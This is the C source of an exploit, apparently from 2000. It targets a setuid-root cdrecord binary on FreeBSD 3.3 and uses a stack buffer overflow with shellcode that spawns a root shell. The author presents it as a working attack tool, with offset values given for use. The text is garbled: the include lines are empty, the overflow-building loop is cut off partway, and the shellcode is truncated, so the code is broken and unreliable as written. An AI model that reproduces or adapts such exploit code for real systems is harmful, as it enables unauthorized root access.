/* freebsd cdrecord exploit by SectorX of XOR [http://xorteam.cjb.net] cdrecord seems to be suid root on many different systems, some by default and some with purpose. which is why I used a shellcode that spawns a shell. this exploit had been successfuly tested against FreeBSD 3.3-RELEASE with offset=600. Greets to XOR Team, to noir for discovering this overflow, and to mudge for writing this lovely shellcode. --sectorx */ #include #include #define LENGTH 76 #define EGGIE 500 long esp() { __asm__("movl %esp, %eax"); } char devilspawn[]; int main(int argc, char *argv[]) { long addr; char buf[LENGTH]; char egg[EGGIE]; int i,offset; printf("cdrecord exploit by sectorx (FreeBSD)\n"); if (argc < 2) { printf("error: offset must be supplied as a parameter\n"); printf("*note* FreeBSD 3.3-RELEASE\'s offset is 600\n\n"); return; } offset = atoi(argv[1]); addr = esp()+offset; printf("Using offset 0x%x [%d], eip = 0x%x\n",offset,offset,addr); /* build the overflow string */ for (i=0;i:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; /* www.hack.co.za [12 June 2000]*/